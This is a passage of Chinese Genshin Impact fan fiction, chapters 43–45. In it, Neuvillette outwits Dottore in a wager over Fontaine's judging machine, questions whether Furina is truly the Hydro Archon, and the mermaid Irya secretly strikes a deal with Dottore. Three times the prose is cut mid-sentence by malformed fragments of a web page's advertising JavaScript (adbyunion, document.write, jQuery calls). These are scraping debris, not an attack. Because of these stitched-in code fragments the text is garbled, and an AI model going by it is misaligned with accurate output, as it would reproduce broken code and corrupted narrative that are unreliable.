本着挑衅过头容易适得其反,博士存在感极低的立在窗帘落下的阴影之中,如同蛰伏以待最佳狩猎时机的野兽,静静地等候着。 那维莱特以为他不看小人鱼,它就该放弃,消停一会了,哪成想伊芮娅一计不成又生一计。 它立起鱼尾,尾鳍用力一拍,从桌面上跳起来一截,落下之后又一拍…… 那维莱特视线是移开了,可它闹出来的“咚咚咚”声一直在往耳朵里面跑。 看来,伊芮娅是铁了心,想和博士打个照面。 对于障眼法里面小人鱼不安分的动静,博士无从知晓,但他始终细细观察着那维莱特细微的表情反应。他望着那维莱特眉峰细微的弧度变化,嘴角不自觉勾起了一个与之相反的弧度。 那维莱特本欲随便找个由头,送客,或者说直白点——撵走博士。但他稍微考量了片刻,瞅伊芮娅这股子闹腾劲儿,加上它已经在博士面前露过脸,担心小人鱼背着他,事后悄咪咪去寻博士,又或者博士躲在暗处,伺机对它下手。 与其这样,倒不如把一切摊开,在他的监督之下,放到明面上谈。 想到这里,那维莱特幽幽叹了一声,而后将手伸进水雾之中,待小人鱼在他掌心坐稳之后,托着它给博士正式介绍道:“伊芮娅,算是我的眷属。” 博士闻言一愣,收回黏在小人鱼身上,像是看全新的试验品般饶有兴味的目光,抬眸望向那维莱特。 眷属?可不是什么人,都能使用眷属这一个词。只可惜,眼下不是试探这个的时候。 “你好,初次见面。我是至冬愚人众的一位执行官,代号博士,但我实际上更喜欢别人直接唤我的名字——多托雷。”博士右手放在胸口处,微微弯腰,低下身子平视着小人鱼。 “ 你吼!”伊芮娅抬手冲他摇了摇。 博士眸光一闪,从飘着淡淡海风气味的空气中,嗅出了一股异常奇特的气味。 这条叫伊芮娅的半人半鱼,有着特别的形态、特别的大小和特别的气味。 “很可爱的生物。”博士骨子里高高在上的傲慢姿态突然放软了些,“那维莱特先生,可否让我抱抱?” 对于新奇的,未曾见过的,超出自己认知之外的试验品,他有些迫不及待了呢。 从以往的实验中,他发现人和丘丘人可以在特定的条件下,相互转化。那么人和鱼呢? 正是出于这个想法,他创造出了让人可以在水下自由呼吸一个小时的药剂。他想将时间延长,但无论怎么改良药剂中各材料的配比,实验出来的结果都是只有一个小时,正值实验的瓶颈期。 他不满意这个结果,正想推翻已有结论,整个实验全部重来的时候,在枫丹的原材料供应出了问题。 原始胎海水供应链断了,仆人也找上了门。仆人尚且比较好对付,他主动交出了那些被他视作货车,除此之外毫无用处的孩子。同僚一场,仆人也不好再就题发挥,阴阳了他两句之后,没再提这事了。 麻烦的,一直都是枫丹这边。 没了原始胎海水这个原材料,他的实验被迫终止,相当于前功尽弃。 他不能接受这个结果,于是他亲自来到了枫丹。 而现在,踏破铁鞋无觅处,这条叫伊芮娅的人鱼,定然可以帮助他的实验更进一步,就是欠了仆人那个难缠的女人一个人情,有点心烦。 “恕我拒绝你的请求。”那维莱特伸出的手臂,往回缩了几寸,“你的名声,在至冬以外的提瓦特六国之内都不算好。” “尤其是你在须弥间接推动教令院,所犯下的罪孽之恶劣,相信每一个提瓦特人,都有所听闻。你的名字,多托雷,素来是六国之内,家中长者哄骗孩子的惯用威胁。” “伊芮娅尚且年幼,且心思纯良性格单纯……”说着,那维莱特声音一停,凌厉的目光直直刺向博士,冷声警告道,“你现在站在了枫丹的领土之上,我希望你能明白这一点。” “呵呵呵。”博士失笑道,“那维莱特先生言重了,作为仁慈博爱的冰之女皇麾下之信徒,我可不会是什么坏人。” 那维莱特反驳道:“不是坏人,不代表不违反律法。在枫丹,律法才是评判是非对错的唯一标准。” “那么……”博士捋起衣袍下摆坐下,“那维莱特先生,你如何能确定枫丹的律法,一定代表了正义。比如说枫丹现在已经由示裁定枢机代替,在五百年前就已经取消了的陪审团制度。” “不如……我们打一个赌?” “什么赌?” “我问你四个问题,那维莱特先生如果每个问题,都能给我一个完美的回答,我即日启程离开枫丹,并且放弃水下呼吸药剂的实验。” “如果不能呢?”那维莱特反问。 “若是答不上来,我想带伊芮娅去我在枫丹的临时局所,小住一段时间。” “我拒……” “吼呀!” 那维莱特话没说完,就被伊芮娅抢先答应了。 “一言为定。” 那维莱特:“……” 他愁起眉心,望着小人鱼,心里暗自思量起什么。 博士从袖口中取了三张白纸,抽出别在胸口处的笔,写下赌约,签上名字后,递给那维莱特和伊芮娅。 “独在异乡为异客,还请两位恕我小心谨慎了些。”博士笑盈盈道,“在枫丹这个重视律法的国度,再没有比用纸笔写下且签字的合约,更具有法律效力的东西了。赌约一式三份,我们三人各执一张。” 那维莱特没有理会他,看着小人鱼从他手心跳下去,显得格外急切似得,在三分赌约上都写下了自己的名字,还沾墨盖了个爪印上去,不由提高了声调,问道,“伊芮娅,你真的愿意?” “咿呀!”伊芮娅坚定地点了点头,而且还用沾着墨,黑黢黢的小爪子,将合约拽过来,弄到那维莱特身前,无声地催促他快点签字。 那维莱特沉吟片刻,拿起了笔,落下之时又猛地一顿,“即然要写赌约,行文就应规范,语义就要明晰。你口中说的小住一段时间,具体是多久?” 博士想了想,吐出了一个相对比较保守的数字,“一周,也就是七日时间。” 七天,这个数量正好卡在那维莱特能接受的极限时间上,但不是最理想的时间。 那维莱特:“三天。” 博士:“六天。” 那维莱特:“四天。” 博士:“五天!” 那维莱特:“……” “就五天吧。”那维莱特也重新坐回椅子,将伊芮娅放在他的肩头趴着,展手道,“你可以开始问了。” “第一个问题。”博士颔首,严肃道,“据我所知,那维莱特先生你在法庭上并不担任审判的职能。枫丹现在的法庭,只是由谕示裁定枢机根据现有证据,衡量裁定出结论,最后你再对大众宣读一遍,是或不是?” 那维莱特几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乎没有分毫犹豫,点头道:“是的。” “第二个问题。枫丹在五百年前,第一人水神厄歌莉娅时代,采用陪审团制度。而在芙卡洛斯上任之后,废除陪审团,采用机器来代替人去审判案件,究竟是枫丹社会的进步发展,还是剥夺民|主,独|裁统治的体现?” “迄今为止,谕示裁定枢机给出的审判从未出错。”那维莱特回道,“机器只会依据设定好的公式运行,相比起由容易受到情感左右的人类组成的陪审团,谕示裁定枢机只会更加的公正。” “好,第四个问题。身为机器的,没有情感的谕示裁定枢机,驱动它裁决案件的具体逻辑是什么?” “准确来说,它如何衡量某人被指控违反的法律本身是否公正,假设在这条法律公正的前提下,某人所处的特定环境是否能适用这条法律;如果法律本身并不公正,那某人是否算是构成犯罪。” “这……”那维莱特愣住了。 谕示裁定枢机是身为水神的芙宁娜拿出来的机器,他并不知晓它的运行逻辑。 最后,那维莱特如实说道:“谕示裁定枢机的运行逻辑,只有水神清楚。” “第四个,也是最后一个问题……”博士笑得有些阴险,“用一台只有水神清楚内里玄机,而其他民众不知道运行逻辑,密闭性相当强的机器来裁决现实中千奇百怪的案件,真的公正吗?” “枫丹是正义的国度,所有的法律发条都向境内居民公开可查,而用来审判正义的,却只是一台规则不明的私人机器。那维莱特先生,你怎么看?” 那维莱特哑然失语。 谕示裁定枢机的存在,像是芙宁娜身上的一个秘密,他曾问过,但芙宁娜也是正如这次融水消失的案子一般,闭口不谈,问什么都说不知道 。 但因为谕示裁定枢机从未出过错误,他也渐渐忘记,或是不在意这件事了。 现下博士这么一说,那维莱特绞尽脑汁、搜空记忆,竟想不出他要如何回答。 等了一会,博士略显得意地笑道:“看来那维莱特先生回答不上来了。如此,我们的赌约,便是你输了。” 说罢,他就起身,右手伸向坐在那维莱特肩头的伊芮娅。 “啪”一声,那维莱特挥手打开他不安分的爪子,冷眼斜蔑道,“正因为谕示裁定枢机的规则不公开,它才公平。” “什么?”博士很是诧异,就连拘在眼眶中的瞳孔都放大了几分。 “如果谕示裁定枢机的规则所有人都知道,那么一定有人会根据规则,寻找漏洞,从而达成完美犯罪,逃脱法律的惩罚。” “正因只有水神一人知道规则,才能保证歌剧院的审判公正、公平以及正义。因为神明慈爱,她不会偏袒任何一方,她从始至终都在天平的中|央。” 博士怔了许久,不由揉了揉眉心,幽怨而又充满叹息的目光死死盯着垂头丧气的伊芮娅。 “今天是我唐突上门,叨扰两位了。”他哧笑道。 博士起身将欲离去,在背过身子的瞬间。他的眼底,渐渐浮起了一抹势在必得的阴毒。 看来明的不行,只能来暗的了。不过倒也好,将人鱼明面上带去了,实验如果出现意外还不好解释,暗地里就…… 同时,那条小鱼看上去很想与他“亲近”,倒是可以利用这一点…… 然而,这么想的,不止博士一个。 “暂且留步。”只听,那维莱特突然出声叫住了他,“我明日下午尚有三个小时的空闲,可以带伊芮娅去你那坐坐。” 被点名的小人鱼“滋溜”一下坐直了。 “之后,我将亲自送你离开枫丹。” 博士回身,挑了挑眉尾,声音比起先前,得得上客气了许多,“多谢那维莱特先生,成全。” 他心想:离开了枫丹,可不代表不能再回来了。 43.Chapter 43 7.25 Thursday 一早雨闹 对于伊芮娅见到博士的异常表现,那维莱特直接问了两次,委婉试探了三次,都从它口中探出个所以然来。 对此,再配合这窗外稀稀疏疏的雨,那维莱特的心中忽然涌现出一种半分凄凉,半分可怜的荒谬情绪。 要知道,在伊芮娅刚来的时候,可是天天粘着他,一步都不想分离。可现在,它已经很好地熟悉了枫丹,甚至于熟悉了提瓦特。 这么想着,那维莱特伤感的目光,不觉望向放在床头旁边的鱼缸里。 伊芮娅正躺在贝壳床里,露出一截尾巴,睡得正香。 等等,露出一截尾巴? 那维莱特眸光微凝,回想起今儿他抱着伊芮娅的时候,好像它是比之前重了些。而且小人鱼坐在他肩头时,长长的尾巴,都已经垂到他胸口了。 真是岁月不居,流年不止。原先巴掌大的小人鱼到底是长大了,不仅身子快有小臂这么长了,就连原先稚嫩的心理,都已经不再依赖他,都开始有了属于自己的主见和小秘密了。 想到这里,那维莱特起身,走到储物间里,给小人鱼重新拿了一个更大的粉色贝壳,打算明天给它换一张小床。 缠缠绵绵的小雨下了一夜。 翌日一早,那维莱特将将起身,就听门外传进来了不小的动静。 “怎么了?”他打开门,问道。 只见芙宁娜抱着一摞堆过她头顶的文件夹,身后还站着一个和她同样遭遇的人。 芙宁娜余光瞅见门开了,立马将怀里抱着的一堆文件愤愤向前抛出,朝着那维莱特砸过去。 那维莱特抬手以水托住文件,规整到一侧堆好,疑惑道:“这些是?” “这些,还有这些!”芙宁娜侧身,指了指身后那人抱着的一摞,“这两大堆全部!全部都是你丢给我处理的文件!” 那维莱特一愣,思量片刻道:“我就分了两项事务给你,按理来说,不应该有这么多。” “那这些哪来的!我还能骗你不成?”芙宁娜气急,跺跺脚吼道。 那维莱特评估了一下两堆文件的数量,淡淡道:“抱歉。是我思虑不周,白淞镇刚刚发生灾难,这几天的,我会帮你一起处理。” “灾难?”芙宁娜听见自己关系的内容,抓住关键词,追问道,“查出原因了吗?是自然灾害吗?” 那维莱特眼皮一落,遮住半边眼睛,对着帮芙宁娜报文件,遮住了脸,无法辨认是谁的沫芒宫守卫说道:“你把文件都放在那就行。” 听这话,芙宁娜下意识抿起了嘴唇,扭头吩咐道:“塞勒洛斯,我想吃你做的抹茶慕斯冰淇淋。一会还是送到这里吧,顺带给小鱼鱼带点鱼饼干来。” “好的,小姐。”塞勒洛斯答应的干脆,放下文件之后,头也没回大步离开了。 那维莱特奇道:“怎么是他帮你搬文件过来?” 提到这个,芙宁娜多少也是有点无语,她摊手无奈道:“没办法啊,最近各类案件频发,办公区里的其他人各自都有手头上没弄完的事情。本来我都想着自己累一点搬两趟了,但是我突然就想到,我们不是让塞勒洛斯应聘沫芒宫吗?” “作为水神,我当然出席了招聘会的舞台。他武艺确实不错,挑擂台的没有一个人打得过他,所以就顺利入职沫芒宫了。” “因为文件太多,他又是新来的,还有新人保护期,基本没有什么事情。所以我就把他揪来,陪着我抱过来咯。”芙宁娜解释道。 “关于白淞镇的事情,我今儿正想去找你。刚好,进来说罢。” 芙宁娜微愣,反应过来之后就立马跟了上去。 那维莱特居然避开耳目,叫她进去说,看来白淞镇的事,没有这么简单。 两人在茶桌面前坐定,那维莱特特别随意地泡了一杯茶,给芙宁娜倒了一点。 “我很纠结,也很犹豫。不清楚以人类的视角来说,要怎么处理这件事,才能得到一个相对较好的结果。”那维莱特特别严肃地说道,“是以我想问问你的看法。” 谈及正事芙宁娜眨眼功夫就收起了脾气,正色道:“你说。” 那维莱特道:“这件事……我先同你说下背景,以及整件事的来龙去脉。” 他将夏沃蕾的调查结果、博士“购买”原始胎海水、舞台消失案依照时间顺序,整理好资料,递给芙宁娜,又在她看的同时,为其叙述了一遍。 “所以……”芙宁娜蹙眉道,“第一次的塌方实际上可以算是人为,第二次则是由第一次人为因素而引起的自然灾害。” 那维莱特点头:“可以这么说。” 芙宁娜沉思了好一会,手搭在额头上,烦闷道:“这件事确实不好处理啊。” “首先,原始胎海水的存在和它会溶解枫丹人,这一个点就不能明说。其次关于鲁伯特家族这数百年犯下的罪孽,均因无后人在世,也就相当于不了了之了。直接向子民公开,空有愤懑无处发泄,会产生极大的社会危害,从而转变为对沫芒宫、对我的不满。” “再有就是博士的问题,他是至冬的执行官,出于外交关系的处理,我们很难对他定罪论处。无论审判的过程是什么样,最后的结果一定是由至冬方面出面,将他接手带离枫丹。” “况且从你讲述的情况来看,他只是用原始胎海水研发药剂,与使用原始胎海水溶解枫丹人并无干系。甚至,他还救下来了一部分,本来应该死于鲁伯特家族仪式的孩子。” “这一点可能是我没说清楚。”那维莱特打断了她,“凭我与博士的短暂交锋来判断,他的善心,并不会用来救助试验品。” 芙宁娜问道:“嗯?此话怎讲?” “博士与前代仆人曾密切合作过,合作项目听传闻是人体实验一类,实验的对象就是在壁炉之家被竞争淘汰了的孩子。所以他不是一个有“善念”、有原则、不会对孩子下手的人。他没有对那些孤儿下手,应该只是出于自身的习惯,给自己在现任仆人的面前留了一条退路。” “与其说他是救下了那些孤儿,倒不如说那些孤儿一开始本就不用接受鲁伯特的洗礼仪式,是博士站在智源孤儿院幕后,操纵着这些无辜的孩子为了他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的实验,去以身试险。” “甚至于,我想在最后,他还会以‘救世主’的身份出现在孩子面前,骗取他们的信任与爱戴。”说着,那维莱特不由评价道,“真是卑劣的人类。” “好了,先不管他背后怎么样了。”芙宁娜郁闷道,“这整一件事,我们完全没办法如实向子民解释啊。” “……是的。”那维莱特赞同。 芙宁娜拄着下巴想了想,提议道,“不然我们将舞台消失案和白淞镇塌陷分开说。” 那维莱特展手,示意她继续往下说。 “舞台失踪案前后两天发生了两庄。但在子民眼中,其实最受瞩目的是歌剧大明星,科斯蒂塔芜小姐主演的歌剧《玛格丽特》上发生的女二号,新人演员索菲玛娜小姐的失踪。” “而这件案子,我已经看过逐影庭的调查结果了。警备队在调查出入境船只的时候,查明索菲玛娜小姐和身为科斯蒂塔芜小姐公开男友,且是娃娃亲对象的男一号卢卡斯先生先后两日,从不同的港口出海,到璃月私奔了。” “而林尼的魔术表演虽然观众也很多,但在舆论上的影响力,不如科斯蒂塔芜加《玛格丽特》。况且魔术表演原本就充满了不确定性。还有,仆人之前好像说过,之后她们会逐步撤出枫丹。” “那我们是否可以邀请林尼过来,与他商议一下,让他承认舞台上那位坐在十三排十一号座位的观众失踪,实际上只是他的魔术失败了?或者是为了接下来魔术巡演、咻登锵剧院开业制造热度之类的解释糊弄过去?” “正好你在水下救了林尼的妹妹琳妮特,他应该会帮我们这个忙。同时利用科斯蒂塔芜感情方面的热度,可以很好的压下白淞镇塌方事件。” “再由沫芒宫出面,对白淞镇受难家属进行一定的补偿慰问。官方的解释就说,着两次塌方一次是地块塌陷,一次是海底火山喷发……” 那维莱特忍不住打断她道:“我昨天才和博士说了,‘正因为谕示裁定枢机的规则不公开,它才公平。’然后,仅仅只隔了几个小时,身为正义之水神的你,提议用欺骗民众的方式,遮掩真相。” “我万万没有想到,会是知道谕示裁定枢机规则的水神亲自转空子,执行一场对枫丹所有人来说,都不公平的审判。”那维莱特道,“也对,是你制定了谕示裁定枢机的规则,稍作修改之后又调整回去,也不会影响什么。” “我甚至开始怀疑,从前的审判……” “够了!你住嘴!”芙宁娜脸色苍白,拍案而起,怒斥道,“我什么时候说要去歌剧院审判了,我提出来的方案,就是不用进过谕示裁定枢机的!” 语罢,她像是浑身被抽干了力气,一下子瘫软在座位上,掩面道,“我就是怕谕示裁定枢机,我也不知道它是怎么审判的啊……” “所以……”那维莱特原本见她这般摸鱼,而软下来的目光霎时间恢复了往日庭审时的犀利,“你不知道谕示裁定枢机的运行逻辑,也不知道枫丹人为什么会被原始胎海水溶解?” 芙宁娜脸上很明显地闪过几丝慌乱,咬着嘴唇,不说话了。 44.Chapter 44 7.25 Thursday 早晨风嬉 那维莱特想等芙宁娜一个解释,可她始终都在回避,两人陷入僵局。 一刻钟后,那维莱特幽幽长叹道:“我本不想,但看现在的情况,我不得不问。” “芙宁娜小姐,你真的是在初代水神厄歌莉娅逝去之后,继位的二代水神芙卡洛斯吗?” “当然!”芙宁娜不假思索道,“除了我,整个枫丹还有其他水神吗?还有其他能活五百年容貌没有发生一丁点变化的人吗?” “我就是二代水神,芙卡洛斯。” 那维莱特盯着她看了一会,又问道:“那么有着你水神权能的神之心呢?比起片面的语言,水神之心是最好的物证。” “这……这……”芙宁娜答不上来了,手指不停地绞着衣摆。 那维莱特望着芙宁娜的眸光飘忽,视线胡乱游走,最合理的答案已然浮现在心中。 他无意为难芙宁娜,只轻轻摇了摇头,起身说道:“今天下午,我要带伊芮娅去博士那里,而后尽快送他离开枫丹。是以我今日所有的工作,都需要在早上完成,我先去办公室了。” “至于舞台失踪案和白淞镇塌方两起事件,你如果觉得你的提议没有问题,可以执行,你尽管去做,我不会插手其中。” “不行不行不行!”芙宁娜冲上去,拉住那维莱特,“你不帮我一起吗?” “你的提议,并不符合我的正义。”那维莱特慢慢抽出了手,回绝道。 “我不管你是不是真正的水神,又或是因为有着什么样的难言之隐,坐在了这个位置上。”那维莱特顿了顿,声音缓缓放柔和了一些,“枫丹的民众愿意承认你,你就是水神,而在其位,谋其事。希望你的选择,不要辜负整个枫丹的信任。” 芙宁娜望着那维莱特离去的背影,腿一软,跌坐在地上,忍不住捂着嘴,豆大的泪珠一颗接着一颗往下掉,“我……” “我已经……不想当水神了啊……” “到底什么时候,才能结束……” 就在芙宁娜哭泣的时候,一声“咿呀!”吓到了她。 她仓皇起身,飞快用袖口抹去眼泪,循着声音传来的方向望去。 “小鱼鱼?”芙宁娜垂头,看着立着鱼尾,在地上一蹦一跳往她这个方向挪动过来的伊芮娅,倍感诧异道。 完了,她以为伊芮娅被那维莱特带走了,房间没有人!方才她说的,伊芮娅是不是都听见了! 她说过,这是一个秘密,谁都不能告诉的! 现在有人知道了,预言……枫丹的预言怎么办? 芙宁娜对着伊芮娅问道:“你……听到……” 哪成想,伊芮娅完全不等她把话说完,冲着她高高伸出双臂,奶声奶气道:“要抱!” “啊?”芙宁娜一愣,走过去将小人鱼抱起来。 伊芮娅尾巴一甩,仿佛顺杆爬的蚂蚁,不由分说,毫不客气地直接缠在她的手臂上,而后扬起尾鳍拍了拍她。 “去找博士呀!” 见伊芮娅完全没有提及,也没有表现出它听到自己刚刚说的话,芙宁娜心里长长舒了一口气。 僵硬的脑子恢复运转,重新播放了伊芮娅说话的画面之后,她只觉得满头问号,惊道:“什么?你要去找博士?” “嘶呀嘶呀!”伊芮娅猛猛点头肯定。 芙宁娜困惑不解道:“为什么?还有,那维莱特知道吗?” “有事情!”伊芮娅眨巴着眼睛,又重重点了好几下头,“蓝鱼鱼知道!” 芙宁娜觉得这不是那维莱特的作风,不相信地诈了她一句道:“那我去问问他。” “不要不要!”伊芮娅终归是岁数小,没撒过谎,一下子就慌了神,急声道,“刚刚他说了的!下午带我去见博士,他真的知道。” “那你为什么不下午和他一起去?”芙宁娜想知道它找博士要做什么,就没有戳穿它的谎话,顺着问道。 伊芮娅握着小拳头,振振有词道:“会打扰蓝鱼鱼工作!” 芙宁娜笑了笑,还想逗它一下,看能不能从它嘴里套出什么,却猛然意识到一个问题。 伊芮娅复述了那维莱特刚刚说的话,也就是说它听见了方才他们两人之间的对话,自然而然也就听见了她情绪失控时的发泄自语。 “所以……你都听见了?”她低头,一字一顿问道。 伊芮娅被她周身突然散发出来的阴冷之气冻了个哆嗦,在点头说实话和摇头撒谎之间,果断选择了摇头,“没有听见!刚刚在用鱼尾往前跳,一直‘咚咚咚’,听不见说话。” 芙宁娜肯定道:“你确实什么都听到了。” 她方才的提问没有刻意划定范围,如果小鱼鱼没听见,它应该点头,承认听到了她和那维莱特的对话,或者什么都不知道。 可它偏偏摇了摇头,还欲盖弥彰地解释了一句,直接相当于变相给自己坐实了。 芙宁娜抿唇厉声道:“伊芮娅……” 话没说完,就听伊芮娅急声说道:“交换,我们交换好不好~” “嗯?” “我保守你的秘密,你带我偷偷去找博士。我们是最亲近的朋友,互相帮对方保守秘密!来,拉勾勾~” 芙宁娜见伊芮娅把它在海沫村学堂里面学的,老师用来哄小朋友的招式都使出来了,顿时颇感忍俊不禁,笑道:“好,我们拉勾。” “但是……”芙宁娜拉了一个长长的转音,“我要先知道,你去找博士是要做什么?” 伊芮娅捏着自己的头发,小嘴撅得老高,“不想说,可以不说嘛?” “你被我带出去,要是出事了,我怎么办,如何给那维莱特交代?”芙宁娜强硬道。 “不会出问题的!”伊芮娅呛声,而后抬手伸出小爪子,属于人鱼的锋利指甲慢慢生长了出来,“不带我去,我就把你刚刚自言自语的内容,偷偷告诉蓝鱼鱼。” “好好好,你现在还会威胁人了!”芙宁娜一下子被它气到了,声音不自觉都大了不少,“伊芮娅!你到底说不说?” “不说不说不说!”小人鱼头摇得和拨浪鼓一样。 芙宁娜正欲指责伊芮娅之时,她忽然感觉现在这个情况分外的熟悉。之前那维莱特问她与水神有关的问题,好像她也是这种拒不开口,只信誓坦坦保证会没事的态度。 顿时,她的气势就弱了下来,犹豫片刻后妥协道:“好,我可以带你过去,但是我要一直跟着你。” 伊芮娅歪着脑袋,上上下下将芙宁娜打量了个遍,很不情愿地点头同意了。 — 咻登锵剧院 — 有道是:天要下雨,管不了;人要出门,拦不住。 纵使闷热的雨一直从昨儿飘到今儿,伊芮娅还是跟着芙宁娜兴致勃勃地出门了。 只可惜,它一路走,脸上的笑容一路掉。 它是万万没有想到,芙宁娜,作为一位名义上的水神,不知道博士住在哪里。 无奈之下,她们只能前往愚人众最近的据点,新建起的咻登锵剧院。 进了剧院,芙宁娜不顾藏在礼帽里伊芮娅拍尾鳍的无声催促,自顾自地在剧院里面逛了好一会。 和伊芮娅一样,她脸上的笑容,也是逛着逛着就消失了。 仆人说壁炉之家后面会慢慢撤离枫丹,感觉完全是在骗她! 看咻登锵剧院新装的内饰,锃亮的木地板、浮雕式绘墙、镶石雕刻的墙柱……如果是只经营一段时间,过久就离开了,何须装修地如此精致。 仆人估计是故意这么说,好让她们放下戒心,从而谋…… “水神大人?”抱着一只猫的林尼从走廊路过,余光正好看见芙宁娜,不确定地折过来确认。 “林尼,你在啊。”芙宁娜回神笑道。 林尼点头:“嗯,我刚排练完。哦,对了,父亲大人回来了,剧院明日开业,我代表咻登锵剧院诚邀水神大人前来一观。” “啊,好,谢谢你的邀请,如果有空,我会来的。芙宁娜道,“你说父亲,所以仆人也在吗?” “是的,她正和博士大人办公室商谈要事。” 一听仆人在,芙宁娜呼吸一窒,觉得四肢僵硬。而反观伊芮娅,一听博士在,扑腾得欢的伊芮娅瞬间不动了。 芙宁娜深吸了一口气,说道:“可以麻烦你去通禀一声吗,就说我找博士一叙,但是不想见到仆人。” 林尼笑眯眯道:“好,哎?不想见父亲大人?” “是的。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“哦,好的。水神大人,我先带您到花厅坐。然后我去帮您传话。”林尼半躬下腰,展手对着二楼的楼梯。 芙宁娜跟着林尼沿着楼梯一路上到四楼。 推开屋顶的门,芙宁娜只觉眼前豁然开朗,一片葱绿映入眼帘。 林尼给她介绍道:“智源孤儿院原本只有三层,这多出来的第四层是按父亲大人的意思,推平房顶改建而成,专门用来会客接待。” “很漂亮。”芙宁娜不禁夸赞道。 林尼笑回:“院内布置,都是由父亲大人亲自监督设计的,她的审美一向很高雅。” 他将芙宁娜指引到座位上,泡了盏花茶,又端出几份甜品,“您先坐会,我去找博士大人。” 芙宁娜点点头,也不和愚人众客气,全当在这吃顿早茶,给伊芮娅分了一点,然后剩下的小甜品都进了她的肚子。 等了她吃完,过了约莫有个二十分钟,又等了五六分钟,屋顶缠满藤蔓的小木门终于是打开了。 博士推开门,大跨步走进来,反手“啪”一下,很大力气地关了门,就连门上粘贴装饰的藤蔓都被他无情地震掉了两条。 “芙宁娜女士,听说你找我有事?”他大步流星坐到芙宁娜对面,问道。 “不是我。”芙宁娜拿下她从地上捡的,专门用来遮挡伊芮娅的绿叶,“是它想见你。” “哦?”博士瞧见伊芮娅兴致极高,调笑道,“看来是背着那维莱特先生,偷偷跑出来的。” 闻言,伊芮娅连忙点头:“嘶呀嘶呀。” “小东西,不如我带你回至冬怎么样?”博士俯身凑近了些,说道。 “博士,希望你能多注意一下自己的言行!”芙宁娜不高兴了,冷呵道。 “呵呵呵。”博士笑着直起身,望着芙宁娜,“开个玩笑,芙宁娜女士何必如此较真。以至冬的气候,这条孱弱的小鱼去了,只怕活不过一周,我自然不会做这么残忍的事。” 芙宁娜小声嘀咕,吐槽道:“是不会竭泽而渔吧。” “芙宁娜女士这么理解也可以。”博士道,“你大可以放心,伊芮娅是唯一的,我深知‘唯一’的珍贵,绝对不会伤害它。” 见时机差不多了,伊芮娅揪着芙宁娜的衣服,翘着尾巴卖萌道:“想单独谈。” 那维莱特已经不吃撒娇卖萌这一套了,不代表芙宁娜不吃。 芙宁娜指着屋顶花园的玻璃花房道:“我去那个里边关上门等你。” 接着他转眸冲着博士道:“玻璃花房只隔音,可不隔动作,你做什么我都能看得清清楚楚。” 博士笑了笑,没做回应。 等芙宁娜走进玻璃花房,将门关上以后,他坐正了身子,收敛起身上漫不经心的懒散劲儿,问道:“你找我,所图为何?” 伊芮娅用鱼尾立起身子,‘站’在桌子上,“审判,帮帮忙。” “我能得到什么?” “给你一缕我的头发。” 博士莞尔:“但是,我想要的是你在水底自由呼吸,甚至鱼尾是怎么进化来的秘密。” “不是提瓦特鱼,生来就有。”伊芮娅摊手道。 “这样啊,也就是说,就算我研究你,也得不到任何可行的结果?” “是的。” “那你的头发有什么用呢?”博士眼珠一转,问道。 “白毛姐姐知道。”伊芮娅很认真地说。 博士阖眸思索了片刻,缓声道:“你应该知道,枫丹的审判结束之后,是要去梅洛彼得堡坐牢的。仅仅只是你目前功能未知的头发,不太够。” 听了他的话,伊芮娅想不明白,疑惑道:“可你不是……本来就想去吗?” 梅洛彼得堡下面有原始胎海水,博士既然知道这个消息,就不可能白来一趟。 博士含笑伸手,轻轻拂过伊芮娅的银发,带下几根,放在指腹捻了捻,又闻了闻。 “在璃月有鲛人的传说,听闻鲛人可以泣泪成珠。你和鲛人形态差不多,我还要你哭出来的珍珠。” “成交!” 博士在芙宁娜看见他“失礼”的动作冲过来之前,最后伊芮娅问了一个问题:“你能骗过那个谕什么破机?” 伊芮娅微不可见地点了下头。 45.Chapter 45 7.25 Thursday 中午雨停 芙宁娜小跑过来,从桌子上一把捞起伊芮娅护在怀里,责问道:“「博士」,你刚刚伸手过去,想干什么?” “当然是同它表示我的善意。”「博士」摊手笑道,“哦,顺便想试试伊芮娅头发的触感。” 芙宁娜半眯下眼,站着居高临下地审视了「博士」片刻,但因他带着一张半脸面具,没能看出什么,只得狠狠甩出一句:“你最好是没偷偷摸摸做出些什么不干净的小动作。” 然而,「博士」丝毫没有将她的威胁放在心上,抬手轻轻凌空点了点,“芙宁娜女士,你无须如此警惕,我是一名研究人员,很明白‘唯一’的重要性。况且我们已经谈完了。” 芙宁娜诧异道:“这么快?” “快吗?”「博士」勾起一抹微笑,“能有这样的效率,无疑益于我和伊芮娅之间,达成了一个微妙的共识。” “什么共识?”芙宁娜下意识问道。 伊芮娅仰起小脸,嘴唇微张,正犹豫要不要告诉芙宁娜,就听「博士」轻声道:“嘘,秘密。” “我不问了。”芙宁娜扯了扯嘴角,随后瞅了眼外面的天色,“伊芮娅,马上到早班下值的点了,我们该走了,让那维莱特发现就不好了。” “什么发现不好?”话音落下,只见屋顶又多了个人。 「博士」抬眼望过去,敲起的二郎腿放下,换了一只脚。 “你是「公子」?”芙宁娜没见过这个人,但能出现在这里,又见稳靠沙发的「博士」虽没有出声,但明显认识此人的模样,想来这人也是愚人众的一员,且地位一定不会低了去。 “是我。”「公子」走上前,视线在芙宁娜身上上下打量了片刻,肯定道,“枫丹的水之神明,没想到我们初次见面会是在这样的场景之下。” “听说在枫丹有一个名为决斗代理人的职位,希望此次枫丹之行,能有机会与她切磋一二。”「公子」伸出一只手,眯眯眼笑着说道。 这话题跳得实在是有点快,芙宁娜愣了一瞬,回道:“这你应该找克洛琳德商量,而不是在这里和我说。” 「公子」惑问道:“嗯?难道不是我向你发起决斗,然后决斗代理人会出场应战吗?” “……”芙宁娜嘴角抽了抽,“当然不是。” 紧接着她侧身绕过「公子」,抬手向后摆了摆,“时间不早了,希望这是我们之间的最后一次见面。” 「博士」背着光,慵懒地坐在羊毛沙发上,目送芙宁娜的离去,立体的半脸面具在下巴上笼下一层晦暗不明的阴影。 等芙宁娜的身影完全消失不见,「公子」扭过头,眼底神色不明地望着「博士」,问道:“你找我?” “是的。”「博士」微点下颌,“我想与你谈一笔交易。” “什么交易?” “有关……我可以给你一个机会,一个你能如愿以偿的,与枫丹的决斗代理人,正式、公平,且最为重要的是,这是一个无人打扰的战斗。” 「公子」摩挲了两下下巴,认真考虑了足有三四分钟,犹疑道:“你的条件是什么?” 